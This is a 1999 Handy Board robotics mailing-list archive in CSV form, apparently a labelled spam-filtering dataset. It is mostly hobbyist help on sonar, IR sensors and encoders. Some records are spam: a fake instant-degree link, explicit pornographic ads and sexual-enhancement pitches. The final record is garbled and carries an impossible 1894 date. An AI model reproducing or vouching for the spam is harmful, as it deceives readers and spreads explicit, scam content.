mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Sat, 20 Feb 1999, Graham, J. Todd wrote: > What type of IR component do I need to attach to the Handyboard to allow the > IR output to function? Searching the FAQ and documentation only showed the > connection circuit up to the point of the header strip. I assume it > wouldn't be the same as the Sharp IS1U60 demodulator. > > And, BTW, a big thanks to Max Davies for his IR input routines and web page > that allows easy configuration of the IR input from a remote! > > Todd > > > ",0,0 """SHETTI.NITIN.MANGESH"" ",Wayne Diamond ,"Sun, 21 Feb 1999 11:38:46 -0500",Re: please remove me from mailing list," For getting out of the mailing list, send an e-mail to Fred Martin at fredm@media.mit.edu and not to the mailing list. Read rules sent to you when you first joined the list. On Thu, 18 Feb 1999, Wayne Diamond wrote: > please remove me from your mailing list it was a lot of help on my robot > > thanks wayne > diamondw@kennecott.com > ",0,0 """SHETTI.NITIN.MANGESH"" ",FEDERICO SANTELLO ,"Sun, 21 Feb 1999 11:43:57 -0500",Re: Type conversion.," Dear Federico, Typecast the integer into float. ie write the statement as dtemp=(float)temp*3.5 Refer to any C book for information on typecasting. Yours sincerely, Nitin On Fri, 19 Feb 1999, FEDERICO SANTELLO wrote: > Hi to all. > > I'm not very practice with IC. > My answere are , how can i convert a integer number to a floating point > number? > I want to make a moltiplication between an intger number and a floating. > I make this: > > int temp; > float dtemp; > > dtemp=temp*3.5; > > > > But when i try to download i've an error type not compatible. > > Thank Federico Santello. > E.mail: fedsante@tin.it > > > > > > > ",0,0 """SHETTI.NITIN.MANGESH"" ",Ranjit Diol ,"Sun, 21 Feb 1999 11:47:45 -0500",Re: msleep function in ICC11?," Dear Ranjit, I do not know much about ICC11, but if you can get the system time using some function, you can write an empty loop using while{} or do{}while until the time delay is over. Yours sincerely, Nitin On Fri, 19 Feb 1999, Ranjit Diol wrote: > I have a HB w/exp brd and a PortMaster (a stock board with a 68HC11E1, > 68HC24 port expansion and 32k ram). I'm programming the HB with IC3.2 > and the PortMaster with ICC11v5. I am hung up trying write a funtion > similar to the HandyBoard 'msleep' using ICC11. > > Any help will be appreciated. > > > > -- > Ranjit Diol - COMPSys > Dowagiac,Michigan > e-mail: rsdiol@mich.com > website: http://www.compsys1.com > > > ",0,1 Carlos Puchol ,handyboard@media.mit.edu,"Sun, 21 Feb 1999 00:53:29 -0800",Re: asm -> icb,"hi, based on the code that some of sent me i wrote a (bash) script for linux, but i still get differences in the ""cre"" part of the file, and more specifically in all lines after the ""*"" (all numbers are off by two). any ideas what is going on? thanks for your help! [02:51:19](2)spqr:encoders$ diff fencdr0.icb fencdr0.icb-orig 11,28c11,28 < ADCTL 1030 *0015 0068 0069 < ADR1 1031 *0016 0070 < BASE 1000 *0014 0064 < TOC4INT 00e2 *0017 0043 0048 < encdr_done 8783 *0091 0076 0086 < encoder_state 8733 *0034 0052 0072 0082 0084 < got_click 876a *0078 0089 < interrupt_code_exit 8798 *0104 0044 0095 < interrupt_code_start 8753 *0063 0047 < last_counts 8734 *0035 0055 0099 0102 < subroutine_initialize_module 8736 *0039 < system_time_hi 0012 *0020 < system_time_lo 0014 *0021 0093 < test_falling 877e *0087 0074 < variable_encoder0_counts 872f *0030 0053 0079 0081 0098 0101 < variable_encoder0_high_threshold 872d *0027 0075 < variable_encoder0_low_threshold 872b *0026 0088 < variable_encoder0_velocity 8731 *0031 0054 0100 --- > ADCTL 1030 *0017 0070 0071 > ADR1 1031 *0018 0072 > BASE 1000 *0016 0066 > TOC4INT 00e2 *0019 0045 0050 > encdr_done 8783 *0093 0078 0088 > encoder_state 8733 *0036 0054 0074 0084 0086 > got_click 876a *0080 0091 > interrupt_code_exit 8798 *0106 0046 0097 > interrupt_code_start 8753 *0065 0049 > last_counts 8734 *0037 0057 0101 0104 > subroutine_initialize_module 8736 *0041 > system_time_hi 0012 *0022 > system_time_lo 0014 *0023 0095 > test_falling 877e *0089 0076 > variable_encoder0_counts 872f *0032 0055 0081 0083 0100 0103 > variable_encoder0_high_threshold 872d *0029 0077 > variable_encoder0_low_threshold 872b *0028 0090 > variable_encoder0_velocity 8731 *0033 0056 0102 [02:51:24](2)spqr:encoders$ _________________________________________________________ DO YOU YAHOO!? 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However, the new set of analog inputs does not seem to be reading in values correctly. The input always seems to be stuck at 250 (The handyboards inputs still work fine.) I've checked the digital ports on the expansion board and they work fine. Is there a separate connection for the expansion board besides where it plugs into the old LCD ports??? Thanks James ",0,0 Will Bain ,Handyboard Mailing List ,"Sun, 21 Feb 1999 11:39:17 -0700",Re: Sonar Sensors,"Ian Hojnicki wrote: > Ok... both of my sonars are now fully functional and clicking like they > should... I took the test prgram from the website and changed some of > the values to make it use D3 for the other sensor... Here is my problem > though... When I output the values from the sensors to the LCD display, > they appear to be random numbers... Any clues as to what is wrong??? > Any suggestions would be appreciated... I don't know much about electronics, but here are a few hardware questions that others have asked me: Can you verify that each sonar works ok all by itself? Are you using two separate sonar module boards, one for each transducer, or are you running both transducers off the same module through a multiplexor? I've been trying to do the former. If you've done the latter, then some of the other questions may not make sense. Did you solder the capacitors into position C7 on the Polaroid sonar module boards? They're necessary for the correct operation of the modules. Are you using 6 power diodes to drop the voltage down from 9.6 V at the HB to about 6 V at the sonar module boards? That's the best way to get power to the modules. You can use a separate battery for the sonar, but make sure it has adequate surge current capacity (the HB power does). Do you have two echo lines connected to the same TIC port on the HB? I tried that and it doesn't work for me at all. I was warned that there might be signal contention with two echos on the same port, and it appears that that's the case. I haven't tried the switching diodes yet to see if that fixes it. Are you triggering two pings at almost the same time? If so, there may not be enough surge current to supply both modules at the same time, or the reverberations from one transducer could be affecting the other. Make sure that you pause between firing one sonar and firing the next. Remember, even after the first echo returns to the transducer, there could still be more echos bouncing around the room for a few milliseconds. I also have written code to use two sonar modules with the HB. Perhaps if you wouldn't mind sending me your code, I could look over it and help figure out whether it's a software problem. I know a little more about programming than I do about electronics. Sincerely, --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Conscience: the inner voice which warns us Will Bain, that someone may be looking. & Tatoosh --H. L. Mencken ",0,0 Will Bain ,Handyboard Mailing List ,"Sun, 21 Feb 1999 11:53:45 -0700",Re: ,"Elliot Anderson wrote: > Has anyone connected more than one sonar sensor to the handyboard? I'm > looking to use the handyboard to connect six sonar sensors to my pc via the > parallel port. I'm using C to talk to and readback from the parallel port. > The sensors can be fired and read in sequence, as long as they can be > fired and read back quickly. > I'm using the sensors to grid out a room in order to locate people in a > space and track their movements. The space is typically about 12' long. > I'm not a hardware expert, but am somewhat adept at building circuits. > Therefore, as much detail on how to handle and build this interface would > be helpful. I'm still working out the best way to connect two sonar modules to the HB (using two complete module board/transducer sets). Both modules ping, but I'm getting signal contention with both echo lines connected to the same TIC port. Probably the best way would be to build a simple multiplexor that allows driving six transducers from a single sonar module board. There's a Multi-Driver Sonar Schematic by Adam Cox that allows four transducers; see the HB web site, software contributed section: http://el.www.media.mit.edu/groups/el/projects/handy-board/software/contrib.html It seems that, instead of using four digital outputs to drive four transducers, the circuit could be modified (using inverters) to use only two digital outputs. Likewise, three digital outs ought to be able to switch up to eight transducers, and four ought to handle sixteen tranducers, but I haven't worked out the details. In any case, it's very important that one and only one transducer is switched into the circuit at a given moment. Best of luck to you! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Conscience: the inner voice which warns us Will Bain, that someone may be looking. & Tatoosh --H. L. Mencken ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Sun, 21 Feb 1999 12:12:22 -0800",Re: ,"Will - - I'm also working on implementing multiple sonar sensors on the HandyBoard. My intention is to mount 4 transducers using Adam Cox's multiplexor. At present I'm struggling with the software attempting to reduce false readings and increase reliability. As a newbie I'm forced to rely heavily on the work of others (use one person's idea and it is plagiarism, use several persons' ideas and it is research) to lead me toward understanding. Most of what I've found is so basic as to be useless ... with one notable exception: UM_MCIB.pdf at ftp://ftp.eecs.umich.edu/people/johannb/ This paper by Johann Borenstein is excellent, but at present most of it is going over my head. If you have any source code (or other ideas) to share, please post them. They will certainly help me, and will most likely help many others as well. - - - Nick - - - Will Bain wrote: > It seems that, instead of using four digital outputs to drive four > transducers, the circuit could be modified (using inverters) to use only > two digital outputs. Likewise, three digital outs ought to be able to > switch up to eight transducers, and four ought to handle sixteen > tranducers, but I haven't worked out the details. In any case, it's > very important that one and only one transducer is switched into the > circuit at a given moment. Best of luck to you! > > -- Will",0,0 """J.W. Pennington"" ",,"Sun, 21 Feb 1999 21:37:30 +0000",Downloader for Unix,"Where might I find the downloader program dl for Linux? I know it exsists, but cannot find it on the MIT/Handyboard site. Thanks. -- ________________________________________ Jonathan Pennington -Anthropologist/Geologist -Linux User and Advocate -Bart Simpson Sympathizer Email at jwp(at)awod.com _______________________________________ ",0,0 """J.W. Pennington"" ",,"Sun, 21 Feb 1999 21:45:14 +0000","Downloader, nevermind","I have the ic-src-unix file, and see it in the tree, sorry. -- ________________________________________ Jonathan Pennington -Anthropologist/Geologist -Linux User and Advocate -Bart Simpson Sympathizer Email at jwp(at)awod.com _______________________________________ ",0,0 Will Bain ,Handyboard Mailing List ,"Sun, 21 Feb 1999 14:40:42 -0700",Diodes for sonar don't cut it,"I promised to update all you ultrasonic types on my progress (or lack thereof) in connecting two sonar modules to the HB. Well, I still haven't figured out if there's a way to connect two sonar module echo lines to the same TIC port on the HB. The two seem to contend with each other. I tried running each echo signal through a switching diode and then into the TIC port, but the voltage drop across the diodes must be too large, because it just gives me junk readings now. Back to the drawing board, I guess. I might try using a digital OR gate next, unless anyone else has a better suggestion? If that doesn't work, I guess I'll give up on using two sonar module boards and just build a multiplexor to switch the transducers from a single sonar module board. Once I get the HB expansion board, that will probably be the better way to go anyway. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If you can't say anything good about someone, Will Bain, sit right here by me. & Tatoosh --Alice Roosevelt Longworth ",0,0 complementarity ,Allyson ,"Sun, 21 Feb 1999 16:40:17 -0300",Case ID# e.A.706045092-nausea contributory mountainside arsenate e.g cofactor flo adulthood extricable roughen realisable bohemia collegiate pi because ragout brigham tacky pyrite tuskegee hysterectomy ,"Instant !degree in just 5 days http://www.shortenurl.com/2dorb give yourself the status of ""deleted"" by going here : see main website They have regretted jogging since last Monday. ",1,1 """John S. Schneekloth"" ","James Plourde , Handyboard ","Sun, 21 Feb 1999 19:11:13 -0500",Re: Expansion Board Problem,"Yes there are two four pin connector along the fornt edge of the expansion board that connect to J13 and J8 on HB, one 8 pin (2 rows of four) that connects to jumper J6 on the HB and one 10 pin that plugs into the expansion bus J3 on the HB. Hope this helps John Schneekloth James Plourde wrote: > We assembled the HandyBoard ourselves and everything seemed to go great. > However, the new set of analog inputs does not seem to be reading in values > correctly. The input always seems to be stuck at 250 (The handyboards > inputs still work fine.) I've checked the digital ports on the expansion > board and they work fine. Is there a separate connection for the expansion > board besides where it plugs into the old LCD ports??? > > Thanks > James ",0,0 """J.W. Pennington"" ",Handyboard list ,"Mon, 22 Feb 1999 00:30:04 +0000",lib_r2.lis ?,"IC can't seem to find: /usr/local/lib/ic/lib_r22.lis Is this important? Where is it (not anywhere on my box.) Thanks all. -- ________________________________________ Jonathan Pennington -Anthropologist/Geologist -Linux User and Advocate -Bart Simpson Sympathizer Email at jwp(at)awod.com _______________________________________ ",0,0 Fredelio Samonte ,handyboard@media.mit.edu,"Sun, 21 Feb 1999 16:36:35 -0800",Sharp Ir and Eltec 442 Pyro detector,"Hi guys, I was wondering if anyone of you could help me. I'm trying to connect a hacked version of a Sharp GP1U58Y Ir detector(hacked so it is now analog instead of digital) to the HB so as I could use it for Ir Proximity sensing or distance measurement. Problem is whenever I do try to connect it to any of the analog inputs of the HB, I always get the same reading of 255 but it works fine as a stand alone. I tested it by connecting it to a breadboard, V = 5 same as the HB, and I connected the output to a digital VOM, the VOM would give me output voltage readings that are proportional to the distance of an object placed in front of the Ir detector meaning that there is nothing wrong with the detector. I'm also trying to connect an Eltec 442 pyro detector to the HB with no luck at all at making it work. The HB gives out the same reading of 255. Any help would REALLY be appreciated. Thanks for your time. F. Samonte ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 """J.W. Pennington"" ",Handyboard list ,"Mon, 22 Feb 1999 01:14:49 +0000","lib_rs.lis, nevermind.","Sorry, I wasn't thinking, doh! -- ________________________________________ Jonathan Pennington -Anthropologist/Geologist -Linux User and Advocate -Bart Simpson Sympathizer Email at jwp(at)awod.com _______________________________________ ",0,0 Jeroen van der Vegt ,HandyBoard mailing list ,"Sun, 21 Feb 1999 15:02:22 +0100",Re: ,"See www-personal.engin.umich.edu/~johannb/ for a detailed paper on EERUF (Error Eliminating Rapid Ultrasonic Firing). Using the algorithm described there, he used 12 sonar sensor at the same time - allthough I don't know if the HB is powerfull enough for it... Jeroen van der Vegt. -----Original Message----- From: Elliot Anderson To: handyboard@media.mit.edu Date: zaterdag 20 februari 1999 21:42 > Has anyone connected more than one sonar sensor to the handyboard? I'm >looking to use the handyboard to connect six sonar sensors to my pc via the >parallel port. I'm using C to talk to and readback from the parallel port. > The sensors can be fired and read in sequence, as long as they can be >fired and read back quickly. > I'm using the sensors to grid out a room in order to locate people in a >space and track their movements. The space is typically about 12' long. >I'm not a hardware expert, but am somewhat adept at building circuits. >Therefore, as much detail on how to handle and build this interface would >be helpful. > >Thanks, >Elliot Anderson > >Elliot Anderson >Adjunct Professor, Electronic Media, >Art Department >University of California, Santa Cruz > >http://www.sirius.com/~ewanders >",0,1 Max Davies ,MAR ERICSON ,"Sun, 21 Feb 1999 20:58:02 -0500",Re: IR output,"In response to: > > What type of IR component do I need to attach to the Handyboard to allow the > > IR output to function? MAR ERICSON wrote: > You can connect an IR LED to it. Maybe you may need a series resistor to > limit the current through it as well. > > Could a hardware expert (Fred?) please give a more definitive answer to this? What value resistor should be used? After extensive IR use with just an IR led and no resistor my transmission circuit eventually died... I guess I burnt out the transistor but not being a hardware person I don't really know for sure. Thanks, /Max ",0,0 Federico Rocio ,handyboard@media.mit.edu,"Sun, 21 Feb 1999 17:06:11 -0500",What's happening in fitness world?,"try transfusion on aqueduct ! abrasion but youthful it's dieldrin ",1,0 Tey Chee Beng ,Handy Board mailing list ,"Mon, 22 Feb 1999 10:32:40 +0800",Timer display,"Hi, I would like to display a clock on the LCD display using the real-time interrupt of the 6811. But it does not seen to work at all. Does anyone have done a similar clock on the handyboard ??? Regards, James ",0,0 Ian Hojnicki ,Handyboard ,"Sun, 21 Feb 1999 23:40:34 -0600",Stupid Sonars,"I have a extremely complicated two polaroid sensor set up going on... I had a diode connected to each of the ECHO lines so that I can combine the two lines together... However, no signal passes through this setup... However, I have validified the fact that they work independently... My question is Fred or anybody else on this god forsaken planet, can I use BOTH TIC2 and TIC3 for the sensors??? I would share all of the other lines except for the ECHO lines... If I can use both of them, what would be the corresponding addresses that I would need to poke and clear to make this work??? I have no clue as to where to look up this information, so I decided to just ask this question... I would appreciate a speedy response... Ian ",0,0 Kat ,handyboard@media.mit.edu,"Sun, 21 Feb 1999 22:08:23 -0800",Shaft encoder sensors...," Can anyone help? My team is trying to get a shaft encoder to work, but cannot find a chip that will work correctly to count the black and white stripes on the wheel. We would like to use a chip which can be connected directly to the digital inputs without extra external hardware. The book ""Mobile Robots: From inspiration to implementation"" recommends a photoreflector by Hamamatsu Photonics, but I was not able to locate it. It seems to be absolete. Any help would be appreciated. Thanks, Kathy ",0,0 Carmelo ,handyboard@media.mit.edu,"Mon, 22 Feb 1999 17:06:24 -0400",pleasant Innoceent Woman getting grace it anally!," Russsian esthetic Woman harddcore piccs and movies. http://thegamecase.info/fptx.htm?iSPhfd.fX,hj U,NN,$,U,B,S,C,R,l,B,E http://thegamecase.info ",1,1 Ernest kode ,handyboard@media.mit.edu,"Sun, 21 Feb 1999 23:53:04 -0800",give it to her properly cyrewosu,"SPUR-M Formula You can increase semen you produce 500% Blast 5x your load and have longer most satisfying release. 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My team is trying to get a shaft encoder to work, but > cannot find a chip that will work correctly to count the black and white > stripes on the wheel. We would like to use a chip which can be connected > directly to the digital inputs without extra external hardware. The book > ""Mobile Robots: From inspiration to implementation"" recommends a > photoreflector by Hamamatsu Photonics, but I was not able to locate it. It > seems to be absolete. Any help would be appreciated. > > Thanks, > Kathy The Hamamatsu P3062-01 IR photoreflector mentioned in MR was discontinued and replaced by the P5587. This chip has the identical pinout and dimensions as the original. I ordered several from Hamamatsu last year but they are pricey (~$7/ea) in small quantities. They are very thin (~1.7mm) and have a focal distance of about 3 mm. You can check to see if they are still available at 908-231-0960. John Vaughn Hobart & William Smith Colleges vaughn@hws.edu ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Mon, 22 Feb 1999 08:21:39 -0500",Re: Shaft encoder sensors...,"Kathy, Digi-Key has three kinds. The first two look like the ""Mobile Robots"" type: QRB1114QT-ND $1.58 QRB1134QT-ND $2.83 The third one looks like a much more compact arrangement: QRD1114QT-ND $1.50 These are on Page 552 of the January-March catalog. Or you can hit the web page at www.digikey.com. Hope this helps, Pherd ",0,0 """SHETTI.NITIN.MANGESH"" ","""J.W. Pennington"" ","Mon, 22 Feb 1999 18:46:56 -0500",Re: lib_r2.lis ?,"Dear Mr Pennington, Have you configured IC using ic -config command ? This sets the library file and its directory. For handy board, the library file is lib_hb.lis.This is a list file which contains the words lib_hb.c and lib_hb.icb. The lib_r22.lis file is needed for 6.270 board. The IC that you are using must be configured for the 6.270 board. Put all lib_hb.* files in one directory. Give that directory name in the IC configuration. Configure lib_hb.lis to be the name of the lib file. Yours sincerely, Nitin On Mon, 22 Feb 1999, J.W. Pennington wrote: > IC can't seem to find: > > /usr/local/lib/ic/lib_r22.lis > > Is this important? Where is it (not anywhere on my box.) > > Thanks all. > -- > ________________________________________ > Jonathan Pennington > -Anthropologist/Geologist > -Linux User and Advocate > -Bart Simpson Sympathizer > > Email at jwp(at)awod.com > _______________________________________ > ",0,0 """Nelson H. F. Beebe"" ","java-users@plot79.math.utah.edu, java-sig@plot79.math.utah.edu","Mon, 22 Feb 1999 08:56:32 -0700",Sun/Microsoft lawsuits: some developments,"For recent news on the Sun/Microsoft lawsuits over Java, see http://www.sunworld.com/swol-02-1999/swol-02-sunspots.html?0222a and Sun's response at http://java.sun.com/lawsuit/ ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 Steve Wall ,handyboard@media.mit.edu,"Mon, 22 Feb 1999 10:59:50 -0500",L.E.D. question.,"What are the L.E.D. voltage ratings for the L.E.D's on the interface board I purchased one(at Radio shack) with a rating of five volts. Which should be O.K right? any help would be appreciated. I have to improvise to get such components cheap. Thanx in advance ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca ",0,0 Tey Chee Beng ,"Handy Board mailing list , mdavies@cam.org","Tue, 23 Feb 1999 00:03:30 +0800",IR question,"Hi Max Davies and everyone, In your documentation (irinfo.txt), you said that we need to disable the IR input interrupt routine before transmitting another signal, what is the reason behind that ? As the IR input and output are both interrupt driven codes, why can't they transmit and receive simultaneously ? Currently I'm working on some communication protocol between multiple Handy Board, if I need to transmit and receive signal concurrently, how can it be done ? Anyone has any advice on the above issue... Thanks in advance... Regards, James. ",0,0 GDFRITZ@aol.com,handyboard@media.mit.edu,"Mon, 22 Feb 1999 12:57:05 -0500",RE: IR question,"James, I'm not sure if this is the correct answer since I am new to the Handyboard, but I think it is: If you do not disable the IR Input Interrupt, your transmission could be 'interrupted' by the receiving information and this may mess up your transmission timing. PC's typically use buffered input, and you may need something like that here. There was a recent article about how to communicate between 2 68hc11's in Circuit Cellar magazine. They were creating a BUS, but I think their technique may work here. They used a 7203 FIFO buffer chip at each end. I don't recall the exact scenario, but I have been looking for this chip for awhile. I've called Digikey, Jameco, & Mouser for the chip and they can't find it in their order databases. Anyone know where I might find such a chip? Hope this helps a little, Gerald <>",0,0 GDFRITZ@aol.com,handyboard@media.mit.edu,"Mon, 22 Feb 1999 13:03:43 -0500",RE: IR question,"I found that article listed at: It was in the January 1999 issue, titled: ""Multiprocessor Communications Part 1: Methods for Communicating "" Maybe it wasn't 68HC11 specific after all. Gerald",0,1 Darkman ,"vaughn@hws.edu, Kat ","Mon, 22 Feb 1999 14:08:56 -0500",Re: Shaft encoder sensors...,"Zagros Robotics sells them for $7.00 ea US http://www.zagrosrobotics.com/ -----Original Message----- From: John Vaughn To: Kat Cc: handyboard@media.mit.edu Date: Monday, February 22, 1999 10:23 AM Subject: Re: Shaft encoder sensors... > > >Kat wrote: > >> Can anyone help? My team is trying to get a shaft encoder to work, but >> cannot find a chip that will work correctly to count the black and white >> stripes on the wheel. We would like to use a chip which can be connected >> directly to the digital inputs without extra external hardware. The book >> ""Mobile Robots: From inspiration to implementation"" recommends a >> photoreflector by Hamamatsu Photonics, but I was not able to locate it. It >> seems to be absolete. Any help would be appreciated. >> >> Thanks, >> Kathy > >The Hamamatsu P3062-01 IR photoreflector mentioned in MR was discontinued and >replaced by the P5587. This chip has the identical pinout and dimensions as >the original. I >ordered several from Hamamatsu last year but they are pricey (~$7/ea) in small >quantities. >They are very thin (~1.7mm) and have a focal distance of about 3 mm. >You can check to see if they are still available at 908-231-0960. > >John Vaughn >Hobart & William Smith Colleges >vaughn@hws.edu >",0,1 Jason Jay ,Projects In Play ,"Mon, 22 Feb 1999 15:11:00 -0500",Categorizing,"My categorization page is at http://www.fas.harvard.edu/~jay/pip99 ",0,1 rmtmd ,handyboard@media.mit.edu,"Mon, 22 Feb 1999 12:18:58 -0800",Need Handy Board memory debugging software,"Gentlemen: I'm having a bit of trouble with my handy board's display. The board itself works, and I've swapped out old display for a new one. I suspect the memory or transparent octal addressing latch to be at fault. I understand you've memory debugging software for the handy board. How might I obtain it? Ross M. Tonkens, M.D. 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX ",0,0 Steve Wall ,handyboard@media.mit.edu,"Mon, 22 Feb 1999 15:25:31 -0500",HB to create video displays?,"I am thinking of putting a wireless board-level color or B&W camera on my Mobot and I have a question for all the techies. Is it possible to use one of the different outputs on the HB to interface with the camera to put diagrams on the live picture? I want to to put things like x,y ,light level, collision on which side & intruder etc.. In short I want to be able to watch the monitor and have something similar to a video game display. I don't know if anybody has tried this or if even possible but I think it's a great idea. I am building this as a project for me and my young son and I want this thing to be as cool as possible. Please help!! Any suggestions would be appreciated. Thanxs In advance. STEVE ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca ",0,0 Max Davies ,Tey Chee Beng ,"Mon, 22 Feb 1999 15:58:38 -0500",Re: IR question,"Tey Chee Beng wrote: > As the IR input and output are both interrupt driven codes, why can't they > transmit and receive simultaneously ? I just looked over the code again, and you're right, I see no reason why it shouldn't work. I guess the comment is just left over from a previous version where it did make a difference. This is not something I can test though, so I'll have to leave that up to you. Even though the code looks like it might handle it, I'd still be surprised if it really worked though. With two HB's blasting each other with IR at the same time I'd think the signals would interfere with each other and they'd both receive garbage. BTW, I hope you realize that this kind of data transmission is quite slow. I wouldn't count on being able to send more than about 50 bytes per second. ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Mon, 22 Feb 1999 13:04:01 -0800",Book Review ???,"Does anyone have any comments about ""The Personal Robot Navigator"". It is sold by http://www.smartrobots.com/book.htm for about $50. I have read (and continue to read) ""Mobile Robots: Inspiration to Implementation"" and think it is a *must read*. TIA - - - Nick - - - ",0,1 Bob Kelly ,handyboard@media.mit.edu,"Mon, 22 Feb 1999 16:18:08 -0500",electronics question please help,"Hello all, I hope there is a simple answer for this... I have attempted to build the circuit that will allow IR object detection using the Sharp IR detector module and a pair of ""high output"" infrared LEDs. The circuit I built was the one from ""Mobile Robots - Inspiration to Completion, 2nd ed."" The circuit calls for, among other things, a 74HC04 inverter. I obtained all the components from my local Radio Shack. The Inverter that I got is actually a 74HCT04 and the IR receiver was the same part number specified with the exception of a ""B"" suffix (hopefully to denote vertical mount Vs. horizontal mount). I implemented a slightly modified version of code to read the sensor that was based heavily on the info given in the book (I timed the LED pulse as required). Obviously, or I wouldn't be asking questions, the thing doesn't work. The LEDs are working (saw 'em through the video camera) and there is power to the Detector (yes, I grounded the case). I wired everything painstakingly per the diagram but I was wondering if it is necessary to supply steady voltage to the inverter (I have not, and the book didn't tell me to.) I did ground the inverter however. Is the supply of voltage to the 74HCT04 assumed in the diagram or is it likely I left something else out? Also, specific pin assignments for connection to the inverter were not given so I carefully wired them according to the pin out detail on the inverter package pin assignments and symbology. Is the 74HCT04 not interchangeable with the 74HC04? Are there any other things I should be aware of if trying to implement this circuit on a Handy Board? I am new at electronics and I thought this might be a nice ""get my feet wet"" starter project. I don't have access to fancy testing equipment so any help at all would be greatly appreciated. I apologize if this question is a little on the basic side. Thanks again, Bob K. ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Mon, 22 Feb 1999 14:43:10 -0800",Re: electronics question please help,"Bob - - Here is a link to the 74HCT04 data sheet: http://www.fairchildsemi.com/pf/MM/MM74HCT04.html Hope that this helps. - - - Nick - - - Bob Kelly wrote: > The circuit calls for, among other things, a 74HC04 inverter. I obtained all > the components from my local Radio Shack. The Inverter that I got is > actually a 74HCT04 and the IR receiver was the same part number specified",0,1 Chen Yung Hsu ,handyboard@media.mit.edu,"Mon, 22 Feb 1999 17:44:57 -0500",Re: Visual Basic and parallel port,"i know that this doesn't really have anything to do with the handyboard but has anyone tried to access the computer's parallel port with visual basic? =) chen ",0,0 Dan Overholt ,play99@media.MIT.EDU,"Mon, 22 Feb 1999 18:51:23 -0500",Toy Categories...,"My toy categories page is at http://www.media.mit.edu/~dano/mas963/ -Dan ",0,1 Eric Noyau ,Bob Kelly ,"Mon, 22 Feb 1999 15:54:43 -0800",Re: electronics question please help,"At 13:18 2/22/99 , Bob Kelly wrote: >Hello all, > >I hope there is a simple answer for this... > >I have attempted to build the circuit that will allow IR object detection >using the Sharp IR detector module and a pair of ""high output"" infrared >LEDs. The circuit I built was the one from ""Mobile Robots - Inspiration to >Completion, 2nd ed."" > >The circuit calls for, among other things, a 74HC04 inverter. I obtained all >the components from my local Radio Shack. The Inverter that I got is >actually a 74HCT04 and the IR receiver was the same part number specified >with the exception of a ""B"" suffix (hopefully to denote vertical mount Vs. >horizontal mount). I implemented a slightly modified version of code to read >the sensor that was based heavily on the info given in the book (I timed the >LED pulse as required). > Been there, done that! Funny. I bought almost all the same stuff from my local shack. Writting the software was the easy part ;^). > >Obviously, or I wouldn't be asking questions, the thing doesn't work. The >LEDs are working (saw 'em through the video camera) and there is power to >the Detector (yes, I grounded the case). I wired everything painstakingly >per the diagram but I was wondering if it is necessary to supply steady >voltage to the inverter (I have not, and the book didn't tell me to.) I did >ground the inverter however. > I've supplied some power to the inverter, yes. I'm assuming it's mandatory to have the inverter actually work. Otherwise how do you expect to invert a zero signal? It need some power from somewhere... If I remember correctly it took me a while fiddling with the variable resistance before having the receiver getting a signal. I then put some hot glue on it to seal it and I haven't changed it since. My version is working but is *way* too sensible: it detect an obstacle from at least a couple of meters away ;^). I tried changing the two resistances controlling the LED output to something bigger to limit the current going to the LEDs with no noticable changes in detection range. Any suggestion to get this thing less sensible would be appreciated. >[...] >I am new at electronics and I thought this might be a nice ""get my feet wet"" >starter project. I don't have access to fancy testing equipment so any help >at all would be greatly appreciated. I apologize if this question is a >little on the basic side. > Hey man, it's not that basic for me. I'm a software guy, so take all my hardware advices with a grain of salt ;^) -- Eric ",0,0 Duncan Orthner ,handyboard@media.mit.edu,"Mon, 22 Feb 1999 19:36:42 -0500",Re: HB to create video displays?,"At 03:25 PM 2/22/99 -0500, Steve Wall wrote: [snip] In short I want to be able to watch the monitor and have >something similar to a video game display. I don't know if anybody >has tried this or if even possible but I think it's a great idea. I >am building this as a project for me and my young son and I want this >thing to be as cool as possible. Please help!! Checkout Decade Engineering's Bob II board at: http://www.decadenet.com/bob2/bob2.html I don't think it can do graphics, but it accepts serial input at 9600 baud and displays characters on video. Should be able to use the serial routines on the HB website. Hope this helps, Duncan ",0,1 """K.L.McKinnon"" ",Steve Wall ,"Mon, 22 Feb 1999 20:39:55 -0500",Re: L.E.D. question.,"Typical drop across an LED is about 1.45v. A unit rated at 5v likely has a build in voltage drop/current limiter (read resistor). I would suggest reading the info sheet for absolute ratings. In general, 'any' generic LED will work. Buy the cheapest that will fit. Ken McKinnon Steve Wall wrote: > > What are the L.E.D. voltage ratings for the L.E.D's on the interface > board I purchased one(at Radio shack) with a rating of five volts. > Which should be O.K right? any help would be appreciated. I have to > improvise to get such components cheap. > > Thanx in advance > > ___________________________________________________ > Steve Wall > Sir Sandford Fleming college > Swall@flemingc.on.ca ",0,0 hfthyeryu ,handyboard@media.mit.edu,"Fri, 21 Sep 1894 16:38:29 +0800",���媩.�w�W�[�o ���媩.�w�W�[�o ���媩.�w�W�[�o 